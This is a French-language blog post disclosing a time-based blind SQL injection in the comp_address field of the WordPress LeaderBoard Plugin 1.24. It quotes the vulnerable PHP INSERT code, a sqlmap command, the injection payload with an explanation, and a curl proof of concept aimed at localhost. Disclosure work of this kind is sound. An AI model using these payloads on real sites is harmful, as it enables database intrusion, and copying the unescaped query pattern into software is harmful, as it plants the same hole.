Accueil Faille d'injection SQL dans le plugin Wordpress LeaderBoard Plugin
Post
Annuler

Faille d'injection SQL dans le plugin Wordpress LeaderBoard Plugin

Présentation du plugin

Le plugin Wordpress LeaderBoard Plugin (slug: leaderboard-lite) se présente de cette façon :

LeaderBoard plugin is to enhance a WordPress site to manage events and LeaderBoards; could manage events, divisions,workouts, competitors and scoreboard associated with each events. All the admin forms are powered with Ajax.

La version testée est la 1.24 qui date d’il y a 4 ans.

La vulnérabilité

Dans le script front-end/eventLeaderBoard-registration.php on trouve le code suivant qui gère un formulaire d’enregistrement :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>                                                                           
<?php get_header(); ?>                                                                                                 
<?php                                                                                                                  
    global $wpdb, $post;                                                                                               
    $options = get_option('LeaderBoardSettings');                                                                      
                                                                                                                       
    date_default_timezone_set("UTC");                                                                                  
    $table1 = $wpdb->prefix . "lbd_event_participants";                                                                
    $table2 = $wpdb->prefix . "lbd_event_scores";                                                                      
    $table3 = $wpdb->prefix . "lbd_event_divisions";                                                                   
    $table4 = $wpdb->prefix . "lbd_event_events";                                                                      
    $table5 = $wpdb->prefix . "lbd_event_competitions";                                                                
    $table6 = $wpdb->prefix . "lbd_event_registeredEvents";                                                            
    $table7 = $wpdb->prefix . "lbd_event_workouts";                                                                    
    $table8 = $wpdb->prefix . "lbd_event_registration_transaction";                                                    
                                                                                                                       
    $my_account = get_option('LeaderBoard_eventMyAccount');                                                            
    $payment_url = get_option('LeaderBoard_Payment');                                                                  
    $LeaderBoard_eventUserRegistration  = get_option('LeaderBoard_eventUserRegistration');                             
?>                                                                                                                     
<section class="commen-wraper compititor-regi-block">                                                                  
    <div class="plugin-container">                                                                                     
    <?php                                                                                                              
    if(isset($_POST['AddCompetitorReg'])=='Submit'){                                                                   
        $competitor_name        = (isset($_POST['comp_fullname']))?sanitize_text_field($_POST['comp_fullname']):"";    
        $competitor_gender  = (isset($_POST['comp_gender']))?sanitize_text_field($_POST['comp_gender']):"";            
        $competitor_dob             = sanitize_text_field($_POST['comp_dob']);                                         
        $competitor_age             = sanitize_text_field($_POST['comp_age']);                                         
        $competitor_email       = sanitize_email($_POST['comp_email']);                                                
        $competitor_address     = stripslashes(sanitize_text_field($_POST['comp_address']));                           
        $competitor_phone       = sanitize_text_field($_POST['comp_phn']);                                             
        $competitor_division    = sanitize_text_field($_POST['comp_div']);                                             
        $competitor_reg_date = date('Y-m-d');                                                                          
        $competitor_reg_fee     = $options['memberFee_individual'];                                                    
        $competitor_payment_status = "pending";                                                                        
        $competitor_status      = 0;                                                                                   
        //login data                                                                                                   
        $competitor_username    = str_replace(" ","",$competitor_name).date('ymd');                                    
        $pass                                   = strtotime("now");                                                    
        $competitor_pass            = md5($pass);                                                                      
                                                                                                                       
        if($competitor_name != '' && $competitor_email !='' && $competitor_phone !=''){                                
            $sql  = 'INSERT INTO '.$table1.' (`id`, `participant_name`,`user_name`,`user_pass`,`gender`, `dob`, `age`,`email`, `address`, `phonenum`, `division`, `registration_date`, `registration_fee`, `payment_status`, `status`) VALUES (NULL, "'.$competitor_name.'","'.$competitor_username.'","'.$competitor_pass.'","'.$competitor_gender.'", "'.$competitor_dob.'", "'.$competitor_age.'", "'.$competitor_email.'", "'.$competitor_address.'", "'.$competitor_phone.'", "'.$competitor_division.'", "'.$competitor_reg_date.'", "'.$competitor_reg_fee.'", "'.$competitor_payment_status.'", "'.$competitor_status.'")';
                                                                                                                       
            dbDelta( $sql );
            --- snip ---

La fonction dbDelta provient de Wordpress et permet l’exécution d’une requête SQL.

On remarque que le paramètre comp_address est passé comme d’autres à sanitize_text_field ainsi qu’à stripslashes.

La variable $competitor_address ainsi créée est utilisée telle quelle pour la requête SQL INSERT ce qui permet une injection SQL en aveugle.

sqlmap détecte bien la vulnérabilité d’injection en aveugle via la technique time-based.

PoC :

1
python sqlmap.py -u "http://localhost:8000/?page_id=9" --data "comp_fullname=default&comp_dob=default&comp_email=nobody%40nowhere.com&comp_phn=default&comp_photo=pix.gif&comp_age=default&accept_conditions=default&AddCompetitorReg=Submit&comp_div=&comp_nation=Zimbabwe&comp_address=&comp_gender=F" -p comp_address --risk 3 --level 5 --technique=T

Le payload utilisé par sqlmap est de ce type :

1
"="" AND (SELECT 2496 FROM (SELECT(SLEEP(5)))vJYk) AND ""="

L’objectif est de placer plusieurs conditions dans la partie de la requête destinée eu champ address.

Le "="" permet de créer une première condition vraie puis d’enchainer via un AND sur une condition que l’on contrôle.

Il faut ensuite rétablie l’équilibre des guillemets, ce que sqlmap fait avec le AND ""=" final.

Un PoC plus simple via cURL pour tester la temporisation :

1
curl "http://localhost:8000/?page_id=9" -e "http://localhost:8000/?page_id=9" -d "comp_fullname=default&comp_dob=default&comp_email=nobody%40nowhere.com&comp_phn=default&comp_photo=pix.gif&comp_age=default&accept_conditions=default&AddCompetitorReg=Submit&comp_div=&comp_nation=Zimbabwe&comp_address=%22%3d%22%22%20AND%20sleep(10)%20AND%20%22%22%3d%22&comp_gender=F"
Cet article est sous licence CC BY 4.0 par l'auteur.